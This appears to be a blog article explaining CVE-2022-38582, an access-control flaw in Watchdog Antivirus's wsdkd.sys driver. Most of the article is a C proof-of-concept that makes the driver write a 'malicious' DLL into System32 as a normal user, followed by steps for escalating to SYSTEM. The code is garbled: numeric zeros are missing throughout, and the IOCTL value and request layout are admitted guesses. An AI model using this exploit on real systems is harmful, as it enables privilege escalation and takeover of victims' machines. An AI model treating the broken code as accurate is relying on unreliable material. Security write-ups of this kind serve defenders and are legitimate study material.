Watchdog Antivirus is a popular choice for safeguarding home and office computers. But in version 1.4.158, a serious vulnerability in the core driver (named wsdkd.sys) left machines wide open. This bug, tracked as CVE-2022-38582, is easy to exploit, and understanding how it works can help you better protect your own systems.

In this article, we’ll break down exactly what went wrong, show how attackers could exploit this flaw to write files anywhere on your disk, and discuss how you can stay safe.

What is CVE-2022-38582?

>CVE-2022-38582 describes an “Incorrect Access Control” in the anti-virus driver wsdkd.sys (Watchdog Antivirus 1.4.158).  
>
>The bug means unprivileged (non-admin) users can tell the driver to write files wherever they want — even in protected system directories.

In plain english: Malicious apps can use this flaw to gain SYSTEM-level privileges by dropping files like DLLs or executables in high-security locations. After that, attackers could take full control over the device.

Original Advisory:  
- NVD Description  
- ZDI-22-1472

How the Flaw Works

At the heart of every antivirus tool are kernel-mode drivers. They run with the highest possible privileges so they can block viruses and rootkits. But if drivers aren’t careful in how they handle requests, they can unintentionally give away the keys to the castle.

What's Wrong With wsdkd.sys?

wsdkd.sys exposes a device interface that user programs can open and send IOCTL commands to (think of these like remote instructions for the driver to perform actions).

The dangerous bug: The driver doesn’t properly check who is making the request or if they should be allowed to ask for sensitive actions — like writing an arbitrary file anywhere on disk.

Proof-of-Concept Code (CVE-2022-38582 Exploit Example)

Here’s a simple C code snippet that demonstrates writing a file into C:\Windows\System32 as a normal user. This works only on vulnerable versions of Watchdog Antivirus with the driver running.

#include <windows.h>
#include <stdio.h>

#define DEVICE_NAME "\\\\.\\WSSDevice"
#define IOCTL_WRITE_FILE x80002008 // Example value (check driver for actual code)

typedef struct _WRITE_FILE_REQ {
    wchar_t FilePath[260];   // File path to write
    BYTE    Data[1024];      // Data to write
    DWORD   DataLen;         // Number of bytes to write
} WRITE_FILE_REQ;

int main() {
    HANDLE hDevice = CreateFileA(
        DEVICE_NAME, GENERIC_WRITE,
        , NULL, OPEN_EXISTING, , NULL
    );
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Cannot open device: %lu\n", GetLastError());
        return 1;
    }

    WRITE_FILE_REQ req;
    memset(&req, , sizeof(req));
    wcscpy(req.FilePath, L"C:\\Windows\\System32\\evil.dll");
    strcpy((char*)req.Data, "malware payload");
    req.DataLen = strlen((char*)req.Data);

    DWORD bytesReturned = ;
    BOOL result = DeviceIoControl(
        hDevice,
        IOCTL_WRITE_FILE,
        &req, sizeof(req),
        NULL, ,
        &bytesReturned,
        NULL
    );
    if (result)
        printf("[+] File written. Check System32 for evil.dll.\n");
    else
        printf("[-] Exploit failed: %lu\n", GetLastError());

    CloseHandle(hDevice);
    return ;
}

Notes

- IOCTL_WRITE_FILE value above is for illustration. See ZDI advisory or reverse-engineer the driver for the real IOCTL code.

Program tells Watchdog’s driver to write a malicious DLL into System32.

- Attacker triggers a privileged process (example: service or scheduled task) that loads/executes their DLL.

The vendor patched this bug. Check for the latest security updates and apply them ASAP.

Watchdog Antivirus Official Site

Monitor for Unusual File Writes

Watch for activity where files suddenly appear in sensitive locations without an admin’s knowledge.

Principle of Least Privilege

Avoid running unknown software, even as regular users, especially on machines with powerful security software.

Extra Reading

- CVE-2022-38582 – NVD Entry
- ZDI-22-1472 – Zero Day Initiative’s Report

Conclusion

CVE-2022-38582 shows just how dangerous incorrect access control can be — even in something designed to keep us safe like antivirus software. By thinking carefully about how drivers handle IOCTL requests, developers can avoid these pitfalls. For everyone else, the key lesson is to always keep software up to date and be careful with what you install.

Timeline

Published on: 11/04/2022 12:15:00 UTC
Last modified on: 11/08/2022 15:59:00 UTC